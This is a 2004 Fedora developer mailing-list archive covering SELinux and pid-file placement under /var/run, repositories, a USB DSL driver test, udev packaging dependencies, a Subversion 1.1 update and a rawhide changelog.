03, 2004 at 01:33:37PM +0200, Kyrre Ness Sjobak wrote: > As far as i understand - fedora.us requires fedora core to operate > correctly, and livna requires fedora.us Right. > What repositories are compatible with those, and provides non-free? Ie. > which repo whould contain ex. Opera? Just being curious. AFAIK there is no single "non-free" repository. Various repositories have various non-free bits, such as the Macromedia repository: http://macromedia.mplug.org/ Steve -- Steven Pritchard - K&S Pritchard Enterprises, Inc. Email: steve at kspei.com http://www.kspei.com/ Phone: (618)398-3000 Mobile: (618)567-7320 From linux_4ever at yahoo.com Sun Oct 3 17:37:47 2004 From: linux_4ever at yahoo.com (Steve G) Date: Sun, 3 Oct 2004 10:37:47 -0700 (PDT) Subject: /var/run/directory/ In-Reply-To: <1096816085.15534.12.camel@nexus.verbum.private> Message-ID: <20041003173747.850.qmail@web50608.mail.yahoo.com> >> Can they not be limited to 1 well known file in selinux? > >No; the kernel doesn't have any idea of particular file names. OK...I guess that answers it. >But simply creating a directory for each daemon which is labeled by RPM >installation should work. OK, this sounds like just changing where a daemon writes the pid file instead of re-writing the code so fchown isn't called. Good. >> There are only 3 daemons that I can think of that need to be root: >>sshd, xinetd, crond. > >It can be a very significant amount of work to change a daemon to run as >non-root, like dhcpcd. Right. However, I think in the long term, you want to get as many converted as possible. That adds 1 more layer of protection just in case someone figures out a hole in se linux. That's one reason why I was asking if someone's tried to determine the scale of the problem. Besides programs that spawn others under various accts, they can usually be converted given time. >There's still the general problem with discretionary access control here >too - A simple misconfiguration in for one of the daemons before it >drops root privileges could cause it to overwrite the pid file for >another daemon, violating the system security policy. I haven't seen this, you'd have to code an exploit just for it. But what I do see is daemons that crash leaving a pid file. Sooner or later a pid will match what's in the pid file and can be killed by mistake. (root is usually the only one that can do this.) I don't think this was mentioned so far in this thread. But this is the real problem that people run across more often wrt pid files, not overwriting a neighboring one. I'm not against the proposal. I think it helps. I just want to try to air some of the details so more people understand what's be proposed. -Steve Grubb __________________________________ Do you Yahoo!? Yahoo! Mail - 50x more storage than other providers! http://promotions.yahoo.com/new_mail From drkludge at cox.net Sun Oct 3 17:40:40 2004 From: drkludge at cox.net (Greg Morgan) Date: Sun, 03 Oct 2004 10:40:40 -0700 Subject: How to make a custom Fedora bootable CD? In-Reply-To: <41600590.2070705@linux.net.mk> References: <41600590.2070705@linux.net.mk> Message-ID: <41603998.7070102@cox.net> Arangel Angov wrote: > I wanted to make one bootable installation cd with the things I want > from fedora. Asked google, but didn't found much. > I also tried some forums of projects that have working custom bootable > fedora based distro's but I can't seem to find proper documentation on > how this is done. Does it involve kickstart configuration files and > where everything goes? Is there a document that somebody could recommend > for this? > > Thanks in advance. > > Arangel > Here's two different approaches. The first approach uses the anaconda installer and tools to customize what Fedora supplies. The technique also allows you to update the distro with new rpms of the same packages. That way don't have to apply updates once you have installed FC or any other Red Hat distro for that matter i.e. you rebuild the distro with new security or bug fixes before you install. The instructions also help you set up local NFS, ftp, or HTTP install sites. Please see these links. You will also want to use the anaconda list for additional questions. http://www.linuxworks.com.au/redhat-installer-howto.html http://rau.homedns.org/twiki/bin/view/Anaconda/AnacondaDocumentationProject http://fedora.redhat.com/docs/ The second is the "live CD" approach. Basilisk may be what you are looking for. Berry Linux is similar. Here's links to Distro Watch and quotes for their site, http://distrowatch.com/table.php?distribution=rpmlive "Basilisk Live CD Basilisk (formerly known as RPM Live CD) is a Linux live CD based on Fedora Core. The CD image is a workstation with KDE, GNOME, Office, Internet/network and other applications, as well as servers and services to integrate into a LAN workgroup or domain. http://distrowatch.com/table.php?distribution=berry "Berry Linux is a bootable CD Linux with automatic hardware detection and support for many graphics cards, sound cards, SCSI and USB devices and other peripherals. Berry Linux can be used as a Linux demo, educational CD or as a rescue system. It is not necessary to install anything on a hard disk, although this option is also available (it needs 1.2GB of hard disk space). Berry Linux is based on Red Hat Linux and Knoppix. Greg From dwmw2 at infradead.org Sun Oct 3 17:36:18 2004 From: dwmw2 at infradead.org (David Woodhouse) Date: Sun, 03 Oct 2004 18:36:18 +0100 Subject: RPM specfiles for commercial packages? In-Reply-To: <1096653881.26472.9.camel@opus.phy.duke.edu> References: <1096653881.26472.9.camel@opus.phy.duke.edu> Message-ID: <1096824978.18638.32.camel@localhost.localdomain> On Fri, 2004-10-01 at 14:04 -0400, seth vidal wrote: > > Is anyone else doing this? Is there a place where we can exchange > > specfiles? > > We have: > mathematica > matlab r13 and r14 > maple > nag and absoft fortran compilers > > > among others. > > I don't think there is a place to exchange spec files, though there is > nothing keeping you from posting yours or posting a .nosrc. rpm. Acrobat reader and CJK fontpacks: ftp://pentafluge.infradead.org/pub/acroread/acroread-5.09-1.nosrc.rpm ftp://pentafluge.infradead.org/pub/acroread/acroread-fontpack-5-1.nosrc.rpm -- dwmw2 From walters at redhat.com Sun Oct 3 18:51:00 2004 From: walters at redhat.com (Colin Walters) Date: Sun, 03 Oct 2004 14:51:00 -0400 Subject: /var/run/directory/ In-Reply-To: <20041003173747.850.qmail@web50608.mail.yahoo.com> References: <20041003173747.850.qmail@web50608.mail.yahoo.com> Message-ID: <1096829460.15534.39.camel@nexus.verbum.private> On Sun, 2004-10-03 at 10:37 -0700, Steve G wrote: > OK, this sounds like just changing where a daemon writes the pid file instead of > re-writing the code so fchown isn't called. Good. Right. > >> There are only 3 daemons that I can think of that need to be root: > >>sshd, xinetd, crond. > > > >It can be a very significant amount of work to change a daemon to run as > >non-root, like dhcpcd. > > Right. However, I think in the long term, you want to get as many converted as > possible. That adds 1 more layer of protection just in case someone figures out a > hole in se linux. True. But you have to weigh the effort involved in that versus other security threats, and I don't think in a lot of these cases it's worth it. > >There's still the general problem with discretionary access control here > >too - A simple misconfiguration in for one of the daemons before it > >drops root privileges could cause it to overwrite the pid file for > >another daemon, violating the system security policy. > > I haven't seen this, you'd have to code an exploit just for it. I'm not talking about an exploit; a system administrator could accidentally overwrite e.g. the section of /etc/dbus/system.conf when pasting in configuration from elsewhere. SELinux will prevent the configuration error from damaging the rest of the system. > I'm not against the proposal. I think it helps. I just want to try to air some of > the details so more people understand what's be proposed. Makes sense. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From rdieter at math.unl.edu Sun Oct 3 19:18:08 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Sun, 3 Oct 2004 14:18:08 -0500 (CDT) Subject: RPM specfiles for commercial packages? In-Reply-To: <1096824978.18638.32.camel@localhost.localdomain> References: <1096653881.26472.9.camel@opus.phy.duke.edu> <1096824978.18638.32.camel@localhost.localdomain> Message-ID: On Sun, 3 Oct 2004, David Woodhouse wrote: > Acrobat reader and CJK fontpacks: > > ftp://pentafluge.infradead.org/pub/acroread/acroread-5.09-1.nosrc.rpm > ftp://pentafluge.infradead.org/pub/acroread/acroread-fontpack-5-1.nosrc.rpm FYI, acroread is already in livna.org: http://rpm.livna.org/fedora/2/i386/SRPMS.testing/ -- Rex From s.ellis at fastmail.co.uk Sun Oct 3 19:31:40 2004 From: s.ellis at fastmail.co.uk (Stuart Ellis) Date: Sun, 03 Oct 2004 20:31:40 +0100 Subject: Bastille In-Reply-To: <20041001125910.GB3907@rednote.net> References: <1096560135.3995.34.camel@marte.biciclete.ro> <20041001125910.GB3907@rednote.net> Message-ID: <1096831900.18214.205666253@webmail.messagingengine.com> On Fri, 1 Oct 2004 08:59:10 -0400, "Janina Sajka" said: > So, while it has much to teach and offers good advice, I'd really > rather that Bastille were a HOWTO and not an "I'll fix it for you" > script. > > It's nice to be given a fish to eat, but it's nicer to know how to catch > fish. Same old same old. If the docs approach is of interest - there is a "Hardening Fedora" tutorial currently being written as part of the documentation project. The tracking bug: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=129957 There is an ongoing thread about this tutorial on fedora-docs as well. -- Stuart Ellis s.ellis at fastmail.co.uk From russell at coker.com.au Sun Oct 3 20:09:12 2004 From: russell at coker.com.au (Russell Coker) Date: Mon, 4 Oct 2004 06:09:12 +1000 Subject: cups and printconf Message-ID: <200410040609.12188.russell@coker.com.au> A python script launched by cups (running in domain cupsd_t) wants to write to the /usr/share/printconf/util/ directory during the boot process. Does anyone know what this is about? Naturally we don't want a domain that listens to network connections to be able to write to usr_t... -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From johnp at redhat.com Sun Oct 3 20:21:18 2004 From: johnp at redhat.com (John (J5) Palmieri) Date: Sun, 03 Oct 2004 16:21:18 -0400 Subject: cups and printconf In-Reply-To: <200410040609.12188.russell@coker.com.au> References: <200410040609.12188.russell@coker.com.au> Message-ID: <1096834878.18248.1.camel@localhost.localdomain> On Sun, 2004-10-03 at 16:09, Russell Coker wrote: > A python script launched by cups (running in domain cupsd_t) wants to write to > the /usr/share/printconf/util/ directory during the boot process. > > Does anyone know what this is about? Naturally we don't want a domain that > listens to network connections to be able to write to usr_t... Most likely this happens after hal is launched, it discovers printers and configures them using printconf-tui. -- J5 From russell at coker.com.au Sun Oct 3 20:57:05 2004 From: russell at coker.com.au (Russell Coker) Date: Mon, 4 Oct 2004 06:57:05 +1000 Subject: cups and printconf In-Reply-To: <4c4ba1530410031344483c9ed5@mail.gmail.com> References: <200410040609.12188.russell@coker.com.au> <4c4ba1530410031344483c9ed5@mail.gmail.com> Message-ID: <200410040657.05097.russell@coker.com.au> On Mon, 4 Oct 2004 06:44, Tom London wrote: > I think I filed a bugzilla about this a while ago.... > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=129025 > > Is this the same thing? If so, looks like python is trying to > write 'compiled/optimized' .pyc/.pyo files in > /usr/share/printconf/util/ That sounds likely. I'll wait until that bugzilla is closed then. -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From dwmw2 at infradead.org Sun Oct 3 20:58:42 2004 From: dwmw2 at infradead.org (David Woodhouse) Date: Sun, 03 Oct 2004 21:58:42 +0100 Subject: USB DSL call for testing (Re: USB ADSL Modem support, status of development?) In-Reply-To: References: <1096475432.30942.234.camel@hades.cambridge.redhat.com> Message-ID: <1096837122.18638.44.camel@localhost.localdomain> On Fri, 2004-10-01 at 15:00 +0530, Srikanth Nori wrote: > After much wrestling, make-ing and ./configuring, I failed to get any > sensible work done, and still have no DSL :( . I'll look up the > website makers of the original driver and see if I can get it working. > But can someone please confirm whether, or not, this modem has an > Alcatel Speedtouch chipset? Yes, it definitely looks like a SpeedTouch. I've added its IDs to the driver in my CVS tree to see what happens. Wanna give it a try? export CVS_RSH=`which ssh` cvs -d :ext:cvs.infradead.org:/home/cvs co speedtch cd speedtch make sudo modprobe atm sudo insmod ./usb_dsl.ko sudo insmod ./speedtch.ko You also need the firmware. Do you have a CD with firmware on it? We can try the Alcatel/Thompson firmware if not. Either build the firmware_extract tool from the userspace package, or download it from ftp://pentafluge.infradead.org/pub/dsl/firmware_extract.{i386,ppc} Then run it on whatever firmware file you have, move the resulting 'boot.bin' to /lib/firmware/speedtch_fw1 and 'firmware.bin' to /lib/firmware/speedtch_fw2_rev123 A current snapshot of the kernel driver is there too, in case you're IPv6-challenged. It's speedtouch-20041003.tar.gz -- dwmw2 From linux_4ever at yahoo.com Sun Oct 3 21:24:25 2004 From: linux_4ever at yahoo.com (Steve G) Date: Sun, 3 Oct 2004 14:24:25 -0700 (PDT) Subject: /var/run/directory/ In-Reply-To: <1096829460.15534.39.camel@nexus.verbum.private> Message-ID: <20041003212425.40041.qmail@web50605.mail.yahoo.com> >a system administrator could accidentally overwrite e.g. the >section of /etc/dbus/system.conf when pasting in configuration from elsewhere. I see what you're talking about. Why is that configurable? All other daemons I've audited have it hardcoded either in config.h, a header, or right in the .c files. find /usr/sbin/ -name '*' -exec strings {} \; | grep \/var\/run In addition to selinux enhancement, I'd take the pid file configuration out of the dbus.conf file. That flexibility just isn't needed and as mentioned, might actually be a security risk. -Steve Grubb _______________________________ Do you Yahoo!? Declare Yourself - Register online to vote today! http://vote.yahoo.com From hp at redhat.com Mon Oct 4 01:11:07 2004 From: hp at redhat.com (Havoc Pennington) Date: Sun, 03 Oct 2004 21:11:07 -0400 Subject: /var/run/directory/ In-Reply-To: <20041003212425.40041.qmail@web50605.mail.yahoo.com> References: <20041003212425.40041.qmail@web50605.mail.yahoo.com> Message-ID: <1096852268.4452.518.camel@localhost.localdomain> On Sun, 2004-10-03 at 14:24 -0700, Steve G wrote: > >a system administrator could accidentally overwrite e.g. the > >section of /etc/dbus/system.conf when pasting in configuration from elsewhere. > > I see what you're talking about. Why is that configurable? All other daemons I've > audited have it hardcoded either in config.h, a header, or right in the .c files. > > find /usr/sbin/ -name '*' -exec strings {} \; | grep \/var\/run > > In addition to selinux enhancement, I'd take the pid file configuration out of > the dbus.conf file. That flexibility just isn't needed and as mentioned, might > actually be a security risk. > It's configurable because the same executable is the system daemon and the session daemon, they differ by config file. The session daemon has no pidfile. The filename could be in config.h though, just not the flag for whether to write it out. Havoc From notting at redhat.com Mon Oct 4 03:50:37 2004 From: notting at redhat.com (Bill Nottingham) Date: Sun, 3 Oct 2004 23:50:37 -0400 Subject: /var/run/directory/ In-Reply-To: <1096816085.15534.12.camel@nexus.verbum.private> References: <20041002115055.95482.qmail@web50605.mail.yahoo.com> <1096816085.15534.12.camel@nexus.verbum.private> Message-ID: <20041004035037.GD7627@nostromo.devel.redhat.com> Colin Walters (walters at redhat.com) said: > It can be a very significant amount of work to change a daemon to run as > non-root, like dhcpcd. Also you can't fix third-party apps. And you > still reduce the problem to just a few instead of solving it. While creating a new problem for finding pid files... do you go by the service name? The server name? Something else? Bill From russell at coker.com.au Mon Oct 4 05:15:49 2004 From: russell at coker.com.au (Russell Coker) Date: Mon, 4 Oct 2004 15:15:49 +1000 Subject: /var/run/directory/ In-Reply-To: <20041004035037.GD7627@nostromo.devel.redhat.com> References: <20041002115055.95482.qmail@web50605.mail.yahoo.com> <1096816085.15534.12.camel@nexus.verbum.private> <20041004035037.GD7627@nostromo.devel.redhat.com> Message-ID: <200410041515.49657.russell@coker.com.au> On Mon, 4 Oct 2004 13:50, Bill Nottingham wrote: > Colin Walters (walters at redhat.com) said: > > It can be a very significant amount of work to change a daemon to run as > > non-root, like dhcpcd. Also you can't fix third-party apps. And you > > still reduce the problem to just a few instead of solving it. > > While creating a new problem for finding pid files... do you go > by the service name? The server name? Something else? How would the problem be any greater than it is right now? In terms of what name to use (service, server, or something else) it's exactly the same issue as we have at the moment with /var/run/something.pid. I bet that almost no-one can name both pid files for Sendmail from memory. If they were in /var/run/sendmail there would be no doubt. -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From jwz at jwz.org Mon Oct 4 05:22:17 2004 From: jwz at jwz.org (Jamie Zawinski) Date: Sun, 03 Oct 2004 22:22:17 -0700 Subject: /var/run/directory/ References: <20041002115055.95482.qmail@web50605.mail.yahoo.com> <1096816085.15534.12.camel@nexus.verbum.private> <20041004035037.GD7627@nostromo.devel.redhat.com> <200410041515.49657.russell@coker.com.au> Message-ID: <4160DE09.73F7F7DC@jwz.org> Russell Coker wrote: > > I bet that almost no-one can name both pid files for Sendmail from memory. If > they were in /var/run/sendmail there would be no doubt. Maybe this is a dumb question, but what's the point of pid files, anyway? Are they used by anything other than the init.d scripts? Why not just use /sbin/pidof instead? -- Jamie Zawinski jwz at jwz.org http://www.jwz.org/ jwz at dnalounge.com http://www.dnalounge.com/ From russell at coker.com.au Mon Oct 4 06:03:49 2004 From: russell at coker.com.au (Russell Coker) Date: Mon, 4 Oct 2004 16:03:49 +1000 Subject: /var/run/directory/ In-Reply-To: <20041003173747.850.qmail@web50608.mail.yahoo.com> References: <20041003173747.850.qmail@web50608.mail.yahoo.com> Message-ID: <200410041603.49435.russell@coker.com.au> On Mon, 4 Oct 2004 03:37, Steve G wrote: > >There's still the general problem with discretionary access control here > >too - A simple misconfiguration in for one of the daemons before it > >drops root privileges could cause it to overwrite the pid file for > >another daemon, violating the system security policy. > > I haven't seen this, you'd have to code an exploit just for it. But what I I believe that the vast majority of exploits are created just for one particular bug. Also there have been bugs related to problems in dropping privs, see the following URL for one example: http://www.ale.org/archive/ale/ale-2000-06/msg00065.html I recall that in late 2002 there was a game which had a security hole whereby corrupt game data could exploit a program that was started at boot as root, unfortunately I can't find the details. > do see is daemons that crash leaving a pid file. Sooner or later a pid will > match what's in the pid file and can be killed by mistake. (root is usually > the only one that can do this.) I don't think this was mentioned so far in > this thread. But this is the real problem that people run across more often > wrt pid files, not overwriting a neighboring one. The solution to this is to check the executable name as well as the PID before killing. For SE Linux we will probably eventually want to go further and either check the process context or run the kill command in the same domain as the daemon. -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From russell at coker.com.au Mon Oct 4 07:30:41 2004 From: russell at coker.com.au (Russell Coker) Date: Mon, 4 Oct 2004 17:30:41 +1000 Subject: /var/run/directory/ In-Reply-To: <20041002043243.GA4121@nostromo.devel.redhat.com> References: <200410020405.28189.russell@coker.com.au> <20041002031853.GA3869@nostromo.devel.redhat.com> <20041002043243.GA4121@nostromo.devel.redhat.com> Message-ID: <200410041730.41021.russell@coker.com.au> On Sat, 2 Oct 2004 14:32, Bill Nottingham wrote: > Bill Nottingham (notting at redhat.com) said: > > Russell Coker (russell at coker.com.au) said: > > > > Well, it will break parts of the initscripts if it's just done > > > > in the daemons. :) > > > > > > Naturally changes to the daemon, the init scripts for the daemon, and > > > to the SE Linux policy need to be synchronised. But apart from that do > > > you have any problem with the idea? > > > > You need to change the generic initscripts as well... they rely > > on the pid file location. > > Moreover, you break the FHS (and therefore, LSB.) Below is the relevant section of the FHS. It says that programs which use more than one file are encouraged to use a sub-directory (IE Sendmail). Doing the same for programs which only have a single file is not a major break. /var/run : Run-time variable data Purpose This directory contains system information data describing the system since it was booted. Files under this directory must be cleared (removed or truncated as appropriate) at the beginning of the boot process. Programs may have a subdirectory of /var/run; this is encouraged for programs that use more than one run-time file. [42] Process identifier (PID) files, which were originally placed in /etc, must be placed in /var/run. The naming convention for PID files is .pid. For example, the crond PID file is named /var/run/crond.pid. -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From cra at WPI.EDU Mon Oct 4 08:01:47 2004 From: cra at WPI.EDU (Charles R. Anderson) Date: Mon, 4 Oct 2004 04:01:47 -0400 Subject: /var/run/directory/ In-Reply-To: <4160DE09.73F7F7DC@jwz.org> References: <20041002115055.95482.qmail@web50605.mail.yahoo.com> <1096816085.15534.12.camel@nexus.verbum.private> <20041004035037.GD7627@nostromo.devel.redhat.com> <200410041515.49657.russell@coker.com.au> <4160DE09.73F7F7DC@jwz.org> Message-ID: <20041004080147.GG17571@angus.ind.WPI.EDU> On Sun, Oct 03, 2004 at 10:22:17PM -0700, Jamie Zawinski wrote: > Maybe this is a dumb question, but what's the point of pid files, > anyway? Are they used by anything other than the init.d scripts? > Why not just use /sbin/pidof instead? pidof matches strings in /proc/*/cmdline. The match may be imperfect and could catch other processes (think user-created processes whose argv[0] names are set to match a system daemon). pidof may also return pids of child processes of the daemon. This can be a problem if you are trying to restart a daemon such as sshd--you don't want to kill all open ssh connections, just restart the parent daemon. Using a pid file that was created by the parent daemon itself prevents these problems, as long as you can trust who has access to write the pid file. From twaugh at redhat.com Mon Oct 4 09:20:10 2004 From: twaugh at redhat.com (Tim Waugh) Date: Mon, 4 Oct 2004 10:20:10 +0100 Subject: cups and printconf In-Reply-To: <200410040657.05097.russell@coker.com.au> References: <200410040609.12188.russell@coker.com.au> <4c4ba1530410031344483c9ed5@mail.gmail.com> <200410040657.05097.russell@coker.com.au> Message-ID: <20041004092010.GZ21098@redhat.com> On Mon, Oct 04, 2004 at 06:57:05AM +1000, Russell Coker wrote: > > Is this the same thing? If so, looks like python is trying to > > write 'compiled/optimized' .pyc/.pyo files in > > /usr/share/printconf/util/ > > That sounds likely. I'll wait until that bugzilla is closed then. Still waiting for the build system to flip the configuration bit needed for this. Isn't dontaudit a good option for this if it doesn't get fixed before release? Tim. */ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From jorton at redhat.com Mon Oct 4 09:43:25 2004 From: jorton at redhat.com (Joe Orton) Date: Mon, 4 Oct 2004 10:43:25 +0100 Subject: subversion-1.1 released In-Reply-To: References: <604aa791041001051110468310@mail.gmail.com> <20041001123443.GA7170@redhat.com> Message-ID: <20041004094325.GA28792@redhat.com> On Fri, Oct 01, 2004 at 08:28:49AM -0700, Kenneth Porter wrote: > --On Friday, October 01, 2004 1:34 PM +0100 Joe Orton > wrote: > > >1.0 -> 1.1 is a minor version upgrade not a major version upgrade. If I > >can fix the remaining build issues today I'd like to get 1.1.0 in FC3t3. > > What are the outstanding build issues? Are there things in the RH spec file > that should be pushed upstream? 1) a Makefile dependency issue which triggered with our nice "make -j8" builds 2) some new Perl bindings issue where the modules are now getting installed in site_perl rather than vendor_perl with the Raw Hide Perl package, not sure yet if this is my fault or Chip's :) joe From jorton at redhat.com Mon Oct 4 10:38:11 2004 From: jorton at redhat.com (Joe Orton) Date: Mon, 4 Oct 2004 11:38:11 +0100 Subject: subversion-1.1 released In-Reply-To: <20041001130554.GI21609@neu.nirvana> References: <604aa791041001051110468310@mail.gmail.com> <20041001123443.GA7170@redhat.com> <20041001130554.GI21609@neu.nirvana> Message-ID: <20041004103810.GA11545@redhat.com> On Fri, Oct 01, 2004 at 03:05:54PM +0200, Axel Thimm wrote: > On Fri, Oct 01, 2004 at 01:34:43PM +0100, Joe Orton wrote: > > On Fri, Oct 01, 2004 at 08:11:00AM -0400, Jeff Spaleta wrote: > > > On Thu, 30 Sep 2004 11:51:39 -0400, Neal D. Becker > > > wrote: > > > > subversion-1.1 is released. It would be great to include this. It allows > > > > use of subversion without requiring a database. It would be good to > > > > include this capability before many users have migrated to subversion. > > > > > > Doubtful, if there was already a plan in place to include the > > > available preleases during testing then I wouldn't hold out much hope > > > that the new version released after fc3t2 creation is now going to get > > > in so late in the testing phase. The schedule places Sept 1st as the > > > deadline for new major version slush. > > > > 1.0 -> 1.1 is a minor version upgrade not a major version upgrade. If I > > can fix the remaining build issues today I'd like to get 1.1.0 in FC3t3. > > Hi Joe, > > have a look at http://atrpms.net/name/subversion/, which has specfiles > for 1.1.0. Thanks Axel. That didn't help for the Perl modules issue, which was fixed by using make "pure_vendor_install ..." it seems, but the %find_lang stuff was needed too so that saved me some minutes :) Regards, joe From harald at redhat.com Mon Oct 4 10:43:29 2004 From: harald at redhat.com (Harald Hoyer) Date: Mon, 04 Oct 2004 12:43:29 +0200 Subject: should write access to disks be removed from group disk? Message-ID: <41612951.7020107@redhat.com> see https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=110197 From thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net Mon Oct 4 11:03:34 2004 From: thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net (Matthias Saou) Date: Mon, 4 Oct 2004 13:03:34 +0200 Subject: should write access to disks be removed from group disk? In-Reply-To: <41612951.7020107@redhat.com> References: <41612951.7020107@redhat.com> Message-ID: <20041004130334.5d25f63d@localhost> I guess it can be summed up into two questions : - Is there a need for a group to have write access to disks? - Is there a need for a group to have read only access to disks? If the answers are no and yes respectively, then the change makes sense. Seems to me like it does dump-wise. And I can't find any case where someone other than root would need raw write access to a disk device. Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Fedora Core release 2.91 (FC3 Test 2) - Linux kernel 2.6.8-1.521.dell Load : 0.72 0.59 0.36 From laroche at redhat.com Mon Oct 4 11:07:30 2004 From: laroche at redhat.com (Florian La Roche) Date: Mon, 4 Oct 2004 13:07:30 +0200 Subject: should write access to disks be removed from group disk? In-Reply-To: <20041004130334.5d25f63d@localhost> References: <41612951.7020107@redhat.com> <20041004130334.5d25f63d@localhost> Message-ID: <20041004110730.GA5621@dudweiler.stuttgart.redhat.com> On Mon, Oct 04, 2004 at 01:03:34PM +0200, Matthias Saou wrote: > I guess it can be summed up into two questions : > - Is there a need for a group to have write access to disks? > - Is there a need for a group to have read only access to disks? > > If the answers are no and yes respectively, then the change makes sense. > Seems to me like it does dump-wise. And I can't find any case where someone > other than root would need raw write access to a disk device. That's the open question. Do backup tools use only group disk access for restores or do they run as root? greetings, Florian La Roche From feliciano.matias at free.fr Mon Oct 4 11:33:14 2004 From: feliciano.matias at free.fr (Matias Feliciano) Date: Mon, 04 Oct 2004 13:33:14 +0200 Subject: udev and alsa In-Reply-To: <20041001171116.GA24897@nostromo.devel.redhat.com> References: <1096606376.3257.19.camel@localhost.localdomain> <415D1CDD.2000603@redhat.com> <20041001171116.GA24897@nostromo.devel.redhat.com> Message-ID: <1096889594.30248.165.camel@localhost.localdomain> Le ven 01/10/2004 ? 19:11, Bill Nottingham a ?crit : > Harald Hoyer (harald at redhat.com) said: > > Don't know, if it really belongs to udev.. but here is an extended > > script:#!/bin/sh > > Probably belongs to alsa-utils, actually (in that that's where the > script should go.) > I think udev dependency are weird in many places. /etc/dev.d/net/hotplug.dev should be moved to hotplug, and pam_console.dev and pam_console_setowner to pam. alsa.dev script is useful for all programs that use alsa-lib so we should expected it is not "easy" to remove : $ yum remove alsa-utils Dependencies Resolved [e] alsa-utils.i386 0:1.0.6-1 - user [e] firstboot.noarch 0:1.3.27-1 - dep [e] system-config-soundcard.noarch 0:1.2.10-1 - dep That's all :-) I ask for udev require alsa-utils (alsa.dev) but someone can say that udev does not require hal. Hal is in the opposite of alsa-utils. alsa-utils is require by udev because it's needed when removing sound modules. alsa-utils works perfectly without udev. Hal does not works without udev. We can also consider that module-init-tools and/or initscripts depend on alsa-utils (via /etc/modprobe.conf and /etc/rc.d/init.d/halt). It a matter of taste. Also, udev have unnecessary : Is pam require for udev to work properly ? Is mkinitrd require for udev to work properly ? No and no (AFAIK). This is what I want/expect form Fedora. pam_console.dev and pam_console_setowner should be moved to pam. udev require : Nothing :-) but what it really need (hotplug, MAKEDEV, alsa-utils (if not already require by initscripts)...) udev provide : udev dev (already done) udev conflict : pam < ?? mkinitrd < ?? alsa-utils < ?? hotplug < ?? pam require : initscripts, Don't know exactly why :-) but nothing chocking. mkinitrd require : dev kernel require : mkinitrd initscripts requires : dev (perhaps alsa-utils). If alsa-utils is not require by udev or initscripts, it's not serious to me. This picture is almost the same than FC2. It seems, as far as I understand, that udev use "Require" in place where it should use "Conflict". Ideally, if no package requires specifically udev (hal for example), the system should be able to work with a static /dev. I am not asking for a static /dev :-) > Bill -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e. URL: From harald at redhat.com Mon Oct 4 12:20:37 2004 From: harald at redhat.com (Harald Hoyer) Date: Mon, 04 Oct 2004 14:20:37 +0200 Subject: udev and alsa In-Reply-To: <1096889594.30248.165.camel@localhost.localdomain> References: <1096606376.3257.19.camel@localhost.localdomain> <415D1CDD.2000603@redhat.com> <20041001171116.GA24897@nostromo.devel.redhat.com> <1096889594.30248.165.camel@localhost.localdomain> Message-ID: <41614015.4050308@redhat.com> Matias Feliciano wrote: > It seems, as far as I understand, that udev use "Require" in place where > it should use "Conflict". Correct... From buildsys at redhat.com Mon Oct 4 12:28:59 2004 From: buildsys at redhat.com (Build System) Date: Mon, 4 Oct 2004 08:28:59 -0400 Subject: rawhide report: 20041004 changes Message-ID: <200410041228.i94CSxC30253@porkchop.devel.redhat.com> Updated Packages: HelixPlayer-1.0.1.gold-1 ------------------------ * Sun Oct 03 2004 Colin Walters 1:1.0.1.gold-1 - Update to 1.0.1 - Add epoch since 1.0.1.gold is older than 1.0.gold - Drop upstreamed HelixPlayer-1.0.beta20040615-mmx-clobber.patch - Drop HelixPlayer-1.0.beta20040615-desktop.patch per request - Drop upstreamed HelixPlayer-1.0-filechooser.patch - Drop upstreamed HelixPlayer-1.0-clobberedx.patch - Switch to bingo-gold target authconfig-4.6.5-1 ------------------ * Mon Oct 04 2004 Jindrich Novy 4.6.5-1 - updated translations from upstream - autogeneration of build stripts in prep phase * Thu Sep 30 2004 Jindrich Novy - fixed man page - added dependency on nscd * Wed Sep 29 2004 Jindrich Novy 4.6.4-6 - regenerated build scripts gamin-0.0.14-1 -------------- * Sun Oct 03 2004 Daniel Veillard 0.0.14-1 - Found and fixed the annoying bug where update were not received should fix bugs ##132429, #133665 and #134413 - new mechanism to debug on-the-fly by sending SIGUSR2 to client or server - Added documentation about internals * Fri Oct 01 2004 Daniel Veillard 0.0.13-1 - applied portability fixes - hardened the code while chasing a segfault gettext-0.14.1-11 ----------------- * Sun Oct 03 2004 Leon Ho - fixed typo on %preun on -devel howl-0.9.6-6 ------------ * Mon Oct 04 2004 Alexander Larsson - 0.9.6-6 - Use runuser instead of su to change user to make selinux happy (#134456) mod_perl-1.99_16-3 ------------------ * Sun Oct 03 2004 Chip Turner 1.99_16-3 - update filter-depends.sh for Module::Build and Data::Flow rpmdb-fedora-2.92-0.20041004 ---------------------------- vsftpd-2.0.1-5 